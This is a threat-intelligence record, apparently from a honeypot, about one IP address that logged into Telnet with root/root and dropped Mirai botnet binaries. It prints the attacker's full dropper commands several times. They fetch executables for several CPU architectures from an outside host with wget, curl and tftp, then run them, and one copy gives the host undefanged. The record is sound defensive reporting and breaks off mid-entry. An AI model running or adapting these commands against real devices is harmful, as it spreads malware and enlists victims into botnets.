{"ip":"152.42.223.6","data_as_of":"2026-10-26T21:48:28+00:00","observed":true,"total_events":642,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"7 interactive session(s) ran commands after logging in","confidence":"high","network_type":"CDN","why":["7 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","The first-packet sensors recorded 642 event(s) from this address as well.","Not in any known-scanner range.","Sent 16,927 bytes, which is sustained payload delivery."],"engagement":{"level":"payload","label":"Sustained payload","detail":"16,927 bytes sent","bytes_sent":16927,"session_seconds":32,"persistent":false},"basis":"interactive"},"first_seen":"2026-10-24T09:24:01","last_seen":"2026-10-26T17:01:08","events_24h":258,"events_7d":642,"interactive_sessions":97,"interactive_sessions_24h":48,"interactive_sessions_7d":97,"interactive_protocols":[{"protocol":"telnet","sessions":97}],"geo":{"country_code":"SG","country_name":"Singapore","region":"","city":"Singapore","lat":1.314,"lon":103.6839,"asn":14061,"org":"DigitalOcean, LLC"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as14061","label":"DigitalOcean","category":"cdn","url":"https://www.peeringdb.com/asn/14061"},"cve_matches":[],"malware":[{"sha256":"b1477bd0243b8e9cf8761187e92e2403917e17f10d4215eeb892a5a0f8559f5c","family":"mirai","vt_name":"main_mpsl","malicious":33,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":23,"hits":3,"last_seen":"2026-10-24 10:30:21"},{"sha256":"5f55e6ded0315dbd955e83f3d0bf900329bc318edd7459bfd6c721756e1e5136","family":"mirai","vt_name":"main_arm7","malicious":43,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":23,"hits":3,"last_seen":"2026-10-24 10:30:21"},{"sha256":"e27e963b2b49cc758ddd65456d335d0183ca9ddc54349494d6a9f49d7c0603f4","family":"mirai","vt_name":"main_arm6","malicious":41,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":23,"hits":3,"last_seen":"2026-10-26 16:10:09"},{"sha256":"29c044f69892003c3656f541ee94205e94a0a6591660c65893f18a1bf506268d","family":"mirai","vt_name":"main_mips","malicious":29,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":23,"hits":3,"last_seen":"2026-10-24 10:30:21"}],"udp":null,"interaction":{"window_days":90,"sessions":97,"first_seen":"2026-10-24T10:00:12","last_seen":"2026-10-26T17:01:08","verdicts":[{"verdict":"unknown","sessions":90},{"verdict":"post-exploitation","sessions":7}],"personas":[{"persona":"linux-ubuntu@20.04","sessions":88},{"persona":"linux-ubuntu@24.04","sessions":9}],"services":[{"protocol":"telnet","port":23,"sessions":97}],"logins":[{"username":"root","password":"root","password_sent":true,"service":"telnet","outcome":"success","tries":7,"last_seen":"2026-10-26T17:00:37"}],"commands":[{"ts":"2026-10-26T17:00:38","session_id":"89a3ec05-b40f-4ef7-8376-7d19ad7a4307","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"cd /tmp || cd /var || cd /dev/shm || cd /mnt ; ( wget -q -O main_arm7 [http]://152[.]42[.]195[.]115:80/main_arm7 || busybox wget [http]://152[.]42[.]195[.]115:80/main_arm7 -O main_arm7 || curl -s -O [http]://152[.]42[.]195[.]115:80/main_arm7 || tftp -g -b 1468 -r main_arm7 -l main_arm7 152[.]42[.]195[.]115 69 || tftp -g -r main_arm7 -l main_arm7 152[.]42[.]195[.]115 || busybox tftp -g -r main_arm7 152[.]42[.]195[.]115 || ftpget -v -u anonymous -p a 152[.]42[.]195[.]115 main_arm7 main_arm7 ) 2>/dev/null; chmod 777 main_arm7; (./main_arm7 main_arm7 </dev/null >/dev/null 2>&1 &); (/lib/ld-uClibc.so.0 ./main_arm7 </dev/null >/dev/null 2>&1 &) ; ( wget -q -O main_mips [http]://152[.]42[.]195[.]115:80/main_mips || busybox wget [http]://152[.]42[.]195[.]115:80/main_mips -O main_mips || curl -s -O [http]://152[.]42[.]195[.]115:80/main_mips || tftp -g -b 1468 -r main_mips -l main_mips 152[.]42[.]195[.]115 69 || tftp -g -r main_mips -l main_mips 152[.]42[.]195[.]115 || busybox tftp -g -r main_mips 152[.]42[.]195[.]115 || ftpget -v -u anonymous -p a 152[.]42[.]195[.]115 main_mips main_mips ) 2>/dev/null; chmod 777 main_mips; (./main_mips main_mips </dev/null >/dev/null 2>&1 &); (/lib/ld-uClibc.so.0 ./main_mips </dev/null >/dev/null 2>&1 &) ; ( wget -q -O main_mpsl [http]://152[.]42[.]195[.]115:80/main_mpsl || busybox wget [http]://152[.]42[.]195[.]115:80/main_mpsl -O main_mpsl || curl -s -O [http]://152[.]42[.]195[.]115:80/main_mpsl || tftp -g -b 1468 -r main_mpsl -l main_mpsl 152[.]42[.]195[.]115 69 || tftp -g -r main_mpsl -l main_mpsl 152[.]42[.]195[.]115 || busybox tftp -g -r main_mpsl 152[.]42[.]195[.]115 || ftpget -v -u anonymous -p a 152[.]42[.]195[.]115 main_mpsl main_mpsl ) 2>/dev/null; chmod 777 main_mpsl; (./main_mpsl main_mpsl </dev/null >/dev/null 2>&1 &); (/lib/ld-uClibc.so.0 ./main_mpsl </dev/null >/dev/null 2>&1 &) ; ( wget -q -O main_arm6 [http]://152[.]42[.]195[.]115:80/main_arm6 || busybox wget [http]://152[.]42[.]195[.]115:80/main_arm6 -O main_arm6 || curl -","exit_code":127},{"ts":"2026-10-26T17:00:38","session_id":"89a3ec05-b40f-4ef7-8376-7d19ad7a4307","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"shell","exit_code":127},{"ts":"2026-10-26T17:00:37","session_id":"89a3ec05-b40f-4ef7-8376-7d19ad7a4307","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-26T16:09:38","session_id":"cfaf5915-558c-4f5b-818a-947f8896a202","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"cd /tmp || cd /var || cd /dev/shm || cd /mnt ; ( wget -q -O main_arm7 [http]://152[.]42[.]195[.]115:80/main_arm7 || busybox wget [http]://152[.]42[.]195[.]115:80/main_arm7 -O main_arm7 || curl -s -O [http]://152[.]42[.]195[.]115:80/main_arm7 || tftp -g -b 1468 -r main_arm7 -l main_arm7 152[.]42[.]195[.]115 69 || tftp -g -r main_arm7 -l main_arm7 152[.]42[.]195[.]115 || busybox tftp -g -r main_arm7 152[.]42[.]195[.]115 || ftpget -v -u anonymous -p a 152[.]42[.]195[.]115 main_arm7 main_arm7 ) 2>/dev/null; chmod 777 main_arm7; (./main_arm7 main_arm7 </dev/null >/dev/null 2>&1 &); (/lib/ld-uClibc.so.0 ./main_arm7 </dev/null >/dev/null 2>&1 &) ; ( wget -q -O main_mips [http]://152[.]42[.]195[.]115:80/main_mips || busybox wget [http]://152[.]42[.]195[.]115:80/main_mips -O main_mips || curl -s -O [http]://152[.]42[.]195[.]115:80/main_mips || tftp -g -b 1468 -r main_mips -l main_mips 152[.]42[.]195[.]115 69 || tftp -g -r main_mips -l main_mips 152[.]42[.]195[.]115 || busybox tftp -g -r main_mips 152[.]42[.]195[.]115 || ftpget -v -u anonymous -p a 152[.]42[.]195[.]115 main_mips main_mips ) 2>/dev/null; chmod 777 main_mips; (./main_mips main_mips </dev/null >/dev/null 2>&1 &); (/lib/ld-uClibc.so.0 ./main_mips </dev/null >/dev/null 2>&1 &) ; ( wget -q -O main_mpsl [http]://152[.]42[.]195[.]115:80/main_mpsl || busybox wget [http]://152[.]42[.]195[.]115:80/main_mpsl -O main_mpsl || curl -s -O [http]://152[.]42[.]195[.]115:80/main_mpsl || tftp -g -b 1468 -r main_mpsl -l main_mpsl 152[.]42[.]195[.]115 69 || tftp -g -r main_mpsl -l main_mpsl 152[.]42[.]195[.]115 || busybox tftp -g -r main_mpsl 152[.]42[.]195[.]115 || ftpget -v -u anonymous -p a 152[.]42[.]195[.]115 main_mpsl main_mpsl ) 2>/dev/null; chmod 777 main_mpsl; (./main_mpsl main_mpsl </dev/null >/dev/null 2>&1 &); (/lib/ld-uClibc.so.0 ./main_mpsl </dev/null >/dev/null 2>&1 &) ; ( wget -q -O main_arm6 [http]://152[.]42[.]195[.]115:80/main_arm6 || busybox wget [http]://152[.]42[.]195[.]115:80/main_arm6 -O main_arm6 || curl -","exit_code":127},{"ts":"2026-10-26T16:09:38","session_id":"cfaf5915-558c-4f5b-818a-947f8896a202","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"shell","exit_code":127},{"ts":"2026-10-26T16:09:38","session_id":"cfaf5915-558c-4f5b-818a-947f8896a202","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-26T15:19:05","session_id":"84abbc69-008e-4ef3-9a52-c3f0495c94f2","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo PAYLOAD_WORKING","exit_code":0},{"ts":"2026-10-25T17:57:27","session_id":"88282d66-58db-47a1-9e95-0013bde28773","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"cd /tmp || cd /var || cd /dev/shm || cd /mnt ; ( wget -q -O main_arm7 [http]://152[.]42[.]195[.]115:80/main_arm7 || busybox wget [http]://152[.]42[.]195[.]115:80/main_arm7 -O main_arm7 || curl -s -O [http]://152[.]42[.]195[.]115:80/main_arm7 || tftp -g -b 1468 -r main_arm7 -l main_arm7 152[.]42[.]195[.]115 69 || tftp -g -r main_arm7 -l main_arm7 152[.]42[.]195[.]115 || busybox tftp -g -r main_arm7 152[.]42[.]195[.]115 || ftpget -v -u anonymous -p a 152[.]42[.]195[.]115 main_arm7 main_arm7 ) 2>/dev/null; chmod 777 main_arm7; (./main_arm7 main_arm7 </dev/null >/dev/null 2>&1 &); (/lib/ld-uClibc.so.0 ./main_arm7 </dev/null >/dev/null 2>&1 &) ; ( wget -q -O main_mips [http]://152[.]42[.]195[.]115:80/main_mips || busybox wget [http]://152[.]42[.]195[.]115:80/main_mips -O main_mips || curl -s -O [http]://152[.]42[.]195[.]115:80/main_mips || tftp -g -b 1468 -r main_mips -l main_mips 152[.]42[.]195[.]115 69 || tftp -g -r main_mips -l main_mips 152[.]42[.]195[.]115 || busybox tftp -g -r main_mips 152[.]42[.]195[.]115 || ftpget -v -u anonymous -p a 152[.]42[.]195[.]115 main_mips main_mips ) 2>/dev/null; chmod 777 main_mips; (./main_mips main_mips </dev/null >/dev/null 2>&1 &); (/lib/ld-uClibc.so.0 ./main_mips </dev/null >/dev/null 2>&1 &) ; ( wget -q -O main_mpsl [http]://152[.]42[.]195[.]115:80/main_mpsl || busybox wget [http]://152[.]42[.]195[.]115:80/main_mpsl -O main_mpsl || curl -s -O [http]://152[.]42[.]195[.]115:80/main_mpsl || tftp -g -b 1468 -r main_mpsl -l main_mpsl 152[.]42[.]195[.]115 69 || tftp -g -r main_mpsl -l main_mpsl 152[.]42[.]195[.]115 || busybox tftp -g -r main_mpsl 152[.]42[.]195[.]115 || ftpget -v -u anonymous -p a 152[.]42[.]195[.]115 main_mpsl main_mpsl ) 2>/dev/null; chmod 777 main_mpsl; (./main_mpsl main_mpsl </dev/null >/dev/null 2>&1 &); (/lib/ld-uClibc.so.0 ./main_mpsl </dev/null >/dev/null 2>&1 &)","exit_code":127},{"ts":"2026-10-25T17:57:26","session_id":"88282d66-58db-47a1-9e95-0013bde28773","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"shell","exit_code":127},{"ts":"2026-10-25T17:57:26","session_id":"88282d66-58db-47a1-9e95-0013bde28773","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-24T13:31:35","session_id":"c2c6e454-4de4-43ee-991a-2ee9797ba0d7","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"cd /tmp || cd /var || cd /dev/shm || cd /mnt; (wget -q -O main_arm7 [http]://152[.]42[.]195[.]115:80/main_arm7 || curl -s -O [http]://152[.]42[.]195[.]115:80/main_arm7 || tftp -g -b 1468 -r main_arm7 -l main_arm7 152[.]42[.]195[.]115 69 || tftp -g -r main_arm7 152[.]42[.]195[.]115 69) 2>/dev/null; chmod 777 main_arm7; nohup ./main_arm7 arm7 >/dev/null 2>&1 & ./main_arm7 arm7 >/dev/null 2>&1 & (wget -q -O main_mips [http]://152[.]42[.]195[.]115:80/main_mips || curl -s -O [http]://152[.]42[.]195[.]115:80/main_mips || tftp -g -b 1468 -r main_mips -l main_mips 152[.]42[.]195[.]115 69 || tftp -g -r main_mips 152[.]42[.]195[.]115 69) 2>/dev/null; chmod 777 main_mips; nohup ./main_mips vn >/dev/null 2>&1 & ./main_mips vn >/dev/null 2>&1 & (wget -q -O main_mpsl [http]://152[.]42[.]195[.]115:80/main_mpsl || curl -s -O [http]://152[.]42[.]195[.]115:80/main_mpsl || tftp -g -b 1468 -r main_mpsl -l main_mpsl 152[.]42[.]195[.]115 69 || tftp -g -r main_mpsl 152[.]42[.]195[.]115 69) 2>/dev/null; chmod 777 main_mpsl; nohup ./main_mpsl mpsl >/dev/null 2>&1 & ./main_mpsl mpsl >/dev/null 2>&1 &","exit_code":0},{"ts":"2026-10-24T13:31:34","session_id":"c2c6e454-4de4-43ee-991a-2ee9797ba0d7","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"shell","exit_code":127},{"ts":"2026-10-24T13:31:34","session_id":"c2c6e454-4de4-43ee-991a-2ee9797ba0d7","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-24T10:29:54","session_id":"b5cc5d70-f351-4f8b-8e77-238367c74450","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"cd /tmp || cd /var || cd /dev/shm || cd /mnt; (wget -q -O main_arm7 [http]://152[.]42[.]195[.]115:80/main_arm7 || curl -s -O [http]://152[.]42[.]195[.]115:80/main_arm7 || tftp -g -b 1468 -r main_arm7 -l main_arm7 152[.]42[.]195[.]115 69 || tftp -g -r main_arm7 152[.]42[.]195[.]115 69) 2>/dev/null; chmod 777 main_arm7; nohup ./main_arm7 arm7 >/dev/null 2>&1 & ./main_arm7 arm7 >/dev/null 2>&1 & (wget -q -O main_mips [http]://152[.]42[.]195[.]115:80/main_mips || curl -s -O [http]://152[.]42[.]195[.]115:80/main_mips || tftp -g -b 1468 -r main_mips -l main_mips 152[.]42[.]195[.]115 69 || tftp -g -r main_mips 152[.]42[.]195[.]115 69) 2>/dev/null; chmod 777 main_mips; nohup ./main_mips vn >/dev/null 2>&1 & ./main_mips vn >/dev/null 2>&1 & (wget -q -O main_mpsl [http]://152[.]42[.]195[.]115:80/main_mpsl || curl -s -O [http]://152[.]42[.]195[.]115:80/main_mpsl || tftp -g -b 1468 -r main_mpsl -l main_mpsl 152[.]42[.]195[.]115 69 || tftp -g -r main_mpsl 152[.]42[.]195[.]115 69) 2>/dev/null; chmod 777 main_mpsl; nohup ./main_mpsl mpsl >/dev/null 2>&1 & ./main_mpsl mpsl >/dev/null 2>&1 &","exit_code":0},{"ts":"2026-10-24T10:29:54","session_id":"b5cc5d70-f351-4f8b-8e77-238367c74450","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"shell","exit_code":127},{"ts":"2026-10-24T10:29:53","session_id":"b5cc5d70-f351-4f8b-8e77-238367c74450","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-24T10:00:13","session_id":"bedb620b-3ce4-4596-88fe-61165adde38f","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo PAYLOAD_WORKING","exit_code":0}],"downloads":[{"url":"[http]://152[.]42[.]195[.]115:80/main_mips","host":"152[.]42[.]195[.]115","sessions":5,"first_seen":"2026-10-24T10:30:21","last_seen":"2026-10-26T17:01:08","virustotal":{"sha256":"29c044f69892003c3656f541ee94205e94a0a6591660c65893f18a1bf506268d","status":"known","malicious":29,"total":75,"name":"main_mips"}},{"url":"[http]://152[.]42[.]195[.]115:80/main_arm7","host":"152[.]42[.]195[.]115","sessions":5,"first_seen":"2026-10-24T10:30:21","last_seen":"2026-10-26T17:01:08","virustotal":{"sha256":"5f55e6ded0315dbd955e83f3d0bf900329bc318edd7459bfd6c721756e1e5136","status":"known","malicious":43,"total":75,"name":"main_arm7"}},{"url":"[http]://152[.]42[.]195[.]115:80/main_mpsl","host":"152[.]42[.]195[.]115","sessions":5,"first_seen":"2026-10-24T10:30:21","last_seen":"2026-10-26T17:01:08","virustotal":{"sha256":"b1477bd0243b8e9cf8761187e92e2403917e17f10d4215eeb892a5a0f8559f5c","status":"known","malicious":33,"total":75,"name":"main_mpsl"}},{"url":"[http]://152[.]42[.]195[.]115:80/main_arm6","host":"152[.]42[.]195[.]115","sessions":2,"first_seen":"2026-10-26T16:10:09","last_seen":"2026-10-26T17:01:08","virustotal":{"sha256":"e27e963b2b49cc758ddd65456d335d0183ca9ddc54349494d6a9f49d7c0603f4","status":"known","malicious":41,"total":75,"name":"main_arm6"}}],"files":[{"sha256":"e0bfcf10117fe42395ab3bf177e298aa8153cef9c50c29ea38e5116d852086a8","name":"main_mips","size":39193,"mime_type":"application/x-executable","kind":"sample","times":7,"first_seen":"2026-10-24T10:29:54","last_seen":"2026-10-26T17:00:38","virustotal":null},{"sha256":"607003f3122e124673867c1337994732c42f3bcbee5d3da53fc688a439ef7bc0","name":"main_arm7","size":38349,"mime_type":"application/x-executable","kind":"sample","times":7,"first_seen":"2026-10-24T10:29:54","last_seen":"2026-10-26T17:00:38","virustotal":null},{"sha256":"7345aa4949442271d2b79b40cc412a36d6a7ed3f20f00386a8a43ee15b8ff74b","name":"main_mpsl","size":27652,"mime_type":"application/x-executable","kind":"sample","times":7,"first_seen":"2026-10-24T10:29:54","last_seen":"2026-10-26T17:00:38","virustotal":null},{"sha256":"446407f189db3daf0253d889f432e4696fc86df706c91b79e3e74482f6799906","name":"main_arm7","size":34,"mime_type":"text/plain","kind":"downloaded","times":5,"first_seen":"2026-10-24T10:29:54","last_seen":"2026-10-26T17:00:38","virustotal":null},{"sha256":"a2f7bb08322cbbe4659ae1c2144aebc41b3a6d0b7beeaec9f70bc3993fc37a47","name":"main_mpsl","size":34,"mime_type":"text/plain","kind":"downloaded","times":5,"first_seen":"2026-10-24T10:29:54","last_seen":"2026-10-26T17:00:38","virustotal":null},{"sha256":"030de38692f83e8202d9961e79aa4b2418de2f81374bc7d8120b0211426a2609","name":"main_mips","size":34,"mime_type":"text/plain","kind":"downloaded","times":5,"first_seen":"2026-10-24T10:29:54","last_seen":"2026-10-26T17:00:38","virustotal":null},{"sha256":"7503be874a0ada6abd522db94df61fd4b99de87d0a0eb08a83e691b9aafaf55b","name":"main_arm6","size":20730,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-26T16:09:38","last_seen":"2026-10-26T17:00:38","virustotal":null},{"sha256":"32c657637c729b3a0e751a97974f631405e02233e5cff644ede29454ecdcbeed","name":"main_arm6","size":34,"mime_type":"text/plain","kind":"downloaded","times":2,"first_seen":"2026-10-26T16:09:38","last_seen":"2026-10-26T17:00:38","virustotal":null}],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":7},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":7},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":7},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":5}]},"top_ports":[{"port":23,"proto":"tcp","label":"Telnet","count":642,"sessions":97}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-24","count":129,"sessions":4},{"date":"2026-10-25","count":255,"sessions":45},{"date":"2026-10-26","count":258,"sessions":48}],"recent_events":[{"timestamp":"2026-10-26T17:00:38","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"cd /tmp || cd /var || cd /dev/shm || cd /mnt ; ( wget -q -O main_arm7 http://152.42.195.115:80/main_arm7 || busybox wget http://152.42.195.115:80/main_arm7 -O main_arm7 || curl -s -O http://152.42.195.115:80/main_arm7 || tftp -g -b 1468 -r main_arm7 -l main_arm7 152.42.195.115 69 || tftp -g -r main_arm7 -l main_arm7 152.42.195.115 || busybox tftp -g -r main_arm7 152.42.195.115 || ftpget -v -u anonymous -p a 152.42.195.115 main_arm7 main_arm7 ) 2>/dev/null; chmod 777 main_arm7; (./main_arm7 main_arm7 </dev/null >/dev/null 2>&1 &); (/lib/ld-uClibc.so.0 ./main_arm7 </dev/null >/dev/null 2>&1 &) ; ( wget -q -O main_mips http://152.42.195.115:80/main_mips || busybox wget http://152.42.195.115:80/main_mips -O main_mips || curl -s -O http://152.42.195.115:80/main_mips || tftp -g -b 1468 -r main_mips -l main_mips 152.42.195.115 69 || tftp -g -r main_mips -l main_mips 152.42.195.115 || busybox tftp -g -r main_mips 152.42.195.115 || ftpget -v -u anonymous -p a 152.42.195.115 main_mips main_mips ) 2>/dev/null; chmod 777 main_mips; (./main_mips main_mips </dev/null >/dev/null 2>&1 &); (/lib/ld-uClibc.so.0 ./main_mips </dev/null >/dev/null 2>&1 &) ; ( wget -q -O main_mpsl http://152.42.195.115:80/main_mpsl || busybox wget http://152.42.195.115:80/main_mpsl -O main_mpsl || curl -s -O http://152.42.195.115:80/main_mpsl || tftp -g -b 1468 -r main_mpsl -l main_mpsl 152.42.195.115 69 || tftp -g -r main_mpsl -l main_mpsl 152.42.195.115 || busybox tftp -g -r main_mpsl 152.42.195.115 || ftpget -v -u anonymous -p a 152.42.195.115 main_mpsl main_mpsl ) 2>/dev/null; chmod 777 main_mpsl; (./main_mpsl main_mpsl </dev/null >/dev/null 2>&1 &); (/lib/ld-uClibc.so.0 ./main_mpsl </dev/null >/dev/null 2>&1 &) ; ( wget -q -O main_arm6 http://152.42.195.115:80/main_arm6 || busybox wget http://152.42.195.115:80/main_arm6 -O main_arm6 || curl -s -O http://152.42.195.115:80/main_arm6 || tftp -g -b 1468 -r main_arm6 -l main_arm6 152.42.195.115 69 || tftp -g -r main_arm6 -l main_arm6 152.42.195.115 || busybox tftp -g -r main_arm6 152.42.195.115 || ftpget -v -u anonymous -p a 152.42.195.115 main_arm6 main_arm6 ) 2>/dev/null; chmod 777 main_arm6; (./main_arm6 main_arm6 </dev/null >/dev/null 2>&1 &); (/lib/ld-uClibc.so.0 ./main_arm6 </dev/null >/dev/null 2>&1 &)","payload_hex":"6364202f746d70207c7c206364202f766172207c7c206364202f6465762f73686d207c7c206364202f6d6e74203b20282077676574202d71202d4f206d61696e5f61726d3720687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f61726d37207c7c2062757379626f78207767657420687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f61726d37202d4f206d61696e5f61726d37207c7c206375726c202d73202d4f20687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f61726d37207c7c2074667470202d67202d622031343638202d72206d61696e5f61726d37202d6c206d61696e5f61726d37203135322e34322e3139352e313135203639207c7c2074667470202d67202d72206d61696e5f61726d37202d6c206d61696e5f61726d37203135322e34322e3139352e313135207c7c2062757379626f782074667470202d67202d72206d61696e5f61726d37203135322e34322e3139352e313135207c7c20667470676574202d76202d7520616e6f6e796d6f7573202d702061203135322e34322e3139352e313135206d61696e5f61726d37206d61696e5f61726d37202920323e2f6465762f6e756c6c3b2063686d6f6420373737206d61696e5f61726d373b20282e2f6d61696e5f61726d37206d61696e5f61726d37203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e26312026293b20282f6c69622f6c642d75436c6962632e736f2e30202e2f6d61696e5f61726d37203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e2631202629203b20282077676574202d71202d4f206d61696e5f6d69707320687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f6d697073207c7c2062757379626f78207767657420687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f6d697073202d4f206d61696e5f6d697073207c7c206375726c202d73202d4f20687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f6d697073207c7c2074667470202d67202d622031343638202d72206d61696e5f6d697073202d6c206d61696e5f6d697073203135322e34322e3139352e313135203639207c7c2074667470202d67202d72206d61696e5f6d697073202d6c206d61696e5f6d697073203135322e34322e3139352e313135207c7c2062757379626f782074667470202d67202d72206d61696e5f6d697073203135322e34322e3139352e313135207c7c20667470676574202d76202d7520616e6f6e796d6f7573202d702061203135322e34322e3139352e313135206d61696e5f6d697073206d61696e5f6d697073202920323e2f6465762f6e756c6c3b2063686d6f6420373737206d61696e5f6d6970733b20282e2f6d61696e5f6d697073206d61696e5f6d697073203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e26312026293b20282f6c69622f6c642d75436c6962632e736f2e30202e2f6d61696e5f6d697073203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e2631202629203b20282077676574202d71202d4f206d61696e5f6d70736c20687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f6d70736c207c7c2062757379626f78207767657420687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f6d70736c202d4f206d61696e5f6d70736c207c7c206375726c202d73202d4f20687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f6d70736c207c7c2074667470202d67202d622031343638202d72206d61696e5f6d70736c202d6c206d61696e5f6d70736c203135322e34322e3139352e313135203639207c7c2074667470202d67202d72206d61696e5f6d70736c202d6c206d61696e5f6d70736c203135322e34322e3139352e313135207c7c2062757379626f782074667470202d67202d72206d61696e5f6d70736c203135322e34322e3139352e313135207c7c20667470676574202d76202d7520616e6f6e796d6f7573202d702061203135322e34322e3139352e313135206d61696e5f6d70736c206d61696e5f6d70736c202920323e2f6465762f6e756c6c3b2063686d6f6420373737206d61696e5f6d70736c3b20282e2f6d61696e5f6d70736c206d61696e5f6d70736c203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e26312026293b20282f6c69622f6c642d75436c6962632e736f2e30202e2f6d61696e5f6d70736c203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e2631202629203b20282077676574202d71202d4f206d61696e5f61726d3620687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f61726d36207c7c2062757379626f78207767657420687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f61726d36202d4f206d61696e5f61726d36207c7c206375726c202d73202d4f20687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f61726d36207c7c2074667470202d67202d622031343638202d72206d61696e5f61726d36202d6c206d61696e5f61726d36203135322e34322e3139352e313135203639207c7c2074667470202d67202d72206d61696e5f61726d36202d6c206d61696e5f61726d36203135322e34322e3139352e313135207c7c2062757379626f782074667470202d67202d72206d61696e5f61726d36203135322e34322e3139352e313135207c7c20667470676574202d76202d7520616e6f6e796d6f7573202d702061203135322e34322e3139352e313135206d61696e5f61726d36206d61696e5f61726d36202920323e2f6465762f6e756c6c3b2063686d6f6420373737206d61696e5f61726d363b20282e2f6d61696e5f61726d36206d61696e5f61726d36203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e26312026293b20282f6c69622f6c642d75436c6962632e736f2e30202e2f6d61696e5f61726d36203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e2631202629","method":"","user_agent":"","ja3":"","session":"89a3ec05-b40f-4ef7-8376-7d19ad7a4307-8","seq":8,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"0132a96bf241ac5f","strings":["cd /tmp || cd /var || cd /dev/shm || cd /mnt ; ( wget -q -O main_arm7 http://152…"],"iocs":{"urls":["http://152…"],"paths":["/dev/shm"]}},"interactive":true},{"timestamp":"2026-10-26T17:00:38","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"shell","payload_hex":"7368656c6c","method":"","user_agent":"","ja3":"","session":"89a3ec05-b40f-4ef7-8376-7d19ad7a4307-6","seq":6,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"ec122f54cf16a175","strings":["shell"]},"interactive":true},{"timestamp":"2026-10-26T17:00:37","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"sh","payload_hex":"7368","method":"","user_agent":"","ja3":"","session":"89a3ec05-b40f-4ef7-8376-7d19ad7a4307-4","seq":4,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-26T17:00:37","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"root","payload_hex":"726f6f74","method":"","user_agent":"","ja3":"","session":"89a3ec05-b40f-4ef7-8376-7d19ad7a4307-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"dc76e9f0c0006e8f","strings":["root"]},"interactive":true},{"timestamp":"2026-10-26T17:00:37","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"root","payload_hex":"726f6f74","method":"","user_agent":"","ja3":"","session":"89a3ec05-b40f-4ef7-8376-7d19ad7a4307-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"dc76e9f0c0006e8f","strings":[